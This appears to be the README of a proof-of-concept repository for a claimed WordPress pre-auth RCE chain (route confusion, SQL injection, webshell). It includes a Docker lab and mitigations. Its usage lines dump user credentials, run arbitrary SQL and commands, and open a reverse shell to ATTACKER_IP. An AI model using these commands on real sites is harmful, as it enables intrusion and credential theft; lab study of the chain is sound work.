
사전 인증 RCE 익스플로잇 for WordPress (CVE-2026-63030 + CVE-2026-60137) — 라우트 혼동과 SQL 인젝션을 연쇄적으로 이용해 완전한 셸 접근 권한을 획득합니다. 안전한 테스트를 위한 Docker 랩 포함.
| CVE | CVE-2026-63030 + CVE-2026-60137 |
| 별칭 | wp2shell |
| 취약점 유형 | REST API Route Confusion → SQL Injection → RCE |
| 심각도 | 치명적 — CVSS 10.0 |
| 영향 버전 | WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 |
| 수정 버전 | WordPress 6.8.6, 6.9.5, 7.0.2 |
| 인증 필요 | 없음 (Pre-Auth) |
wp2shell은 WordPress Core의 2가지 취약점을 결합한 공격 체인의 이름입니다:
/wp-json/batch/v1)에서 sub-request의 경로가 잘못되었을 때 $matches[] 배열과 $validation[] 배열 간의 인덱스가 어긋나, 다음 sub-request가 잘못된 handler에서 실행되어 REST API 스키마 검증을 우회합니다.WP_Query::get_posts()가 author__not_in 매개변수를 배열 대신 문자열로 받을 때 이를 정제(sanitize)하지 않아 → raw SQL injection이 발생합니다.두 버그가 결합되어 완전한 Pre-Auth RCE 체인을 형성합니다 — 자격 증명 없이 HTTP 요청만으로 서버에서 셸을 획득할 수 있습니다.
Route Confusion (bypass REST validation)
→ SQL Injection (đọc DB: users, secret keys)
→ oEmbed cache poisoning (read-only SQLi → write primitive)
→ customize_changeset (tạo admin mới)
→ Plugin upload (webshell)
→ Remote Code Execution
전체 기술 분석은 **REPORT.md**에서 확인하세요.
Lab은 Docker Compose를 사용하며 3개의 컨테이너로 구성됩니다:
| 컨테이너 | 이미지 | 포트 |
|---|---|---|
| WordPress (취약 버전) | wordpress:6.9.4 | 8080 |
| MySQL | mysql:8.0 | 내부 |
| phpMyAdmin | phpmyadmin:latest | 8081 |
setup.sh 실행용)cd wp2shell-lab
bash setup.sh
스크립트는 자동으로 다음 작업을 수행합니다:
완료되면 "WP2Shell Lab — READY!" 가 로그인 정보와 함께 표시됩니다.
cd wp2shell-lab
docker compose down -v
# Kiểm tra vulnerability
python3 exploit.py check http://TARGET:8080
# Kiểm tra + xác nhận SQLi
python3 exploit.py check --confirm-sqli http://TARGET:8080
# Đọc user credentials từ database
python3 exploit.py read --preset users http://TARGET:8080
# Chạy câu SQL tùy ý
python3 exploit.py read --query "SELECT @@version" http://TARGET:8080
# Full RCE — chạy command
python3 exploit.py shell --cmd "id" http://TARGET:8080
# Reverse shell
python3 exploit.py shell --reverse ATTACKER_IP:PORT http://TARGET:8080
PoC 스크립트는 Icex0/wp2shell-poc을 참고하여 처음부터 다시 작성되었습니다. Python 3 stdlib만 사용하며 추가 종속성 설치가 필요 없습니다.
| 조건 | 요구 사항 |
|---|---|
| WordPress 버전 | 6.9.0–6.9.4 또는 7.0.0–7.0.1 |
| REST API batch endpoint | 접근 가능 (기본 활성화) |
| 인증 | 불필요 |
| 네트워크 | 공격자가 WordPress에 도달 가능 |
functions.php에 add_filter('rest_batch_disabled', '__return_true');를 추가합니다./wp-json/batch/v1 요청을 차단합니다.이 저장소는 통제된 랩 환경에서 연구, 학습 및 CTF 목적으로 제작되었습니다. 실제 시스템을 공격하는 데 사용하지 마십시오. 허가되지 않은 모든 익스플로잇 행위는 법 위반입니다.